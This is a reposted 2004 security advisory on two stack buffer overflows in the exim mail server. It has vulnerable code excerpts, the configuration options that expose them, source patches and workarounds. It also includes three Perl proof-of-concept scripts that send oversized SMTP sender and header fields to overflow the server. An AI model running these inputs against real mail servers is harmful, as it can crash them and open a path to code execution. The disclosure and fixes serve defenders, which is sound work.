Buffer Overflows In Exim

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qcred11

May 7 2004, 02:52 PM

QUOTE

Systems affected:
two bugs in exim 3.35
one of them present in exim 4.32

Risk: Medium - not in default install
Date: 6 May 2004

Legal Notice:
This Advisory is Copyright © 2004 Georgi Guninski.
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You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/exim1.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

There are two stack based overflows in exim 3.35. One them (bug1) is easily
exploitable. Ease of exploitation of the other one (bug2) is not clear, but i
won't be surprised if it is exploitable. Too lazy to check for sure.
(bug2) is also present in exim 4.32.
Both bugs are not in default exim configuration and need enabling options.

Details:

bug1:
in exim 3.35 in verify.c there are two occurences of:
---
sprintf(buffer, "%s:%.200s", sender_address,
---
where buffer is on the stack.
This is classic stack overflow.
This bug works if works if "sender_verify = true" is in exim.conf
To test for vulnerability:
./exi1.pl | nc localhost 25
then press enter.

bug2:
in accept.c for exim 3.35 and in verify.c for exim 4.32 there is:
---
char hname[64];
char *t = h->text;
char *tt = hname;
char *verb = "is";
int len;

while (*t != ':') *tt++ = *t++;
*tt = 0;
---
this code is hit if "headers_check_syntax" is in exim.conf for 3.35 and
"require verify = header_syntax" is in the .conf for 4.32
the difficulty of exploiting this is that "t" can have limited content,
but can have arbitrary length.

To test for vulnerability for 3.35:
./exi2.pl | nc localhost 25
then press enter.

To test for vulnerability for 4.32:
./exi3.pl localhost 25

Fix:

Unofficial fix from me, but debian seems to agree with it.

for exim 3.35
for bug1:
in verify.c
find the following:
sprintf(buffer, "%s:%.200s", sender_address,
(sender_host_name != NULL)? sender_host_name :
(sender_host_address != NULL)? sender_host_address : "");
and
sprintf(buffer, "%s:%.200s", sender_address,
(sender_host_name != NULL)? sender_host_name :
(sender_host_address != NULL)? sender_host_address : "");

in both above cases replace "sprintf(buffer," with:
"snprintf(buffer, sizeof(buffer),"

for bug2:
in accept.c find:
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

for exim 4.32
for bug2:
in verify.c find
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

Note: you need to change some addresses in the perls below.

----exi1.pl----------------------------------
#!/usr/bin/perl
# works if sender_verify = true is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases or CVE
print "HELO a\r\n";
my $ch=getc();
print "MAIL FROM: " . "v" x 300 ."\@vt" . "\r\n";
print "RCPT TO: BillGay\@localhost\r\n";
print "DATA\r\n";
#print "From" . " " x 65 . ":" . "ff fff ff" ."\r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------

----exi2.pl----------------------------------
#!/usr/bin/perl
# works if headers_check_syntax is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases

print "HELO a\r\nMAIL FROM: BillGay\@localhost\r\nRCPT TO: SteveNoBall\@localhost\r\n";
print "DATA\r\n";
my $ch=getc();
print "From" . " " x 275 . ":" ."vv v \r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------

----exi3.pl----------------------------------
#!/usr/bin/perl

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];

# written by georgi guninski
# cannot be used in vulnerability databases
print "Written by georgi guninski\nCannot be used in vulnerability databases or CVE\n";

my $repl;
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

$repl= <$socket>;
print "server replied ${repl}";
my $req = "HELO a\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

my $fromaddr="BillGay\@soft";
my $touser="SteveNoBall\@soft";

$req = "MAIL FROM: ${fromaddr}\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

$req = "RCPT TO: ${touser}\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
$req = "DATA\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

print "Attached with debugger to exim and press enter\n";
my $ccc=getc();

$req = "From" . " " x 200 . ":" ." root\r\n";

$req .= "just to let you know that you sux\r\n";
$req .= ".\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

while(<$socket>)
{
print $_;
}

close $socket;

---------------------------------------------

Workaround:
for exim 3.35
make sure you don't have the following options in exim.conf:
---
sender_verify = true
headers_check_syntax
---
for exim 4.32
make sure you don't have the following option in the config file:
require verify = header_syntax

Vendor status:
exim.org and debian are aware of the bugs

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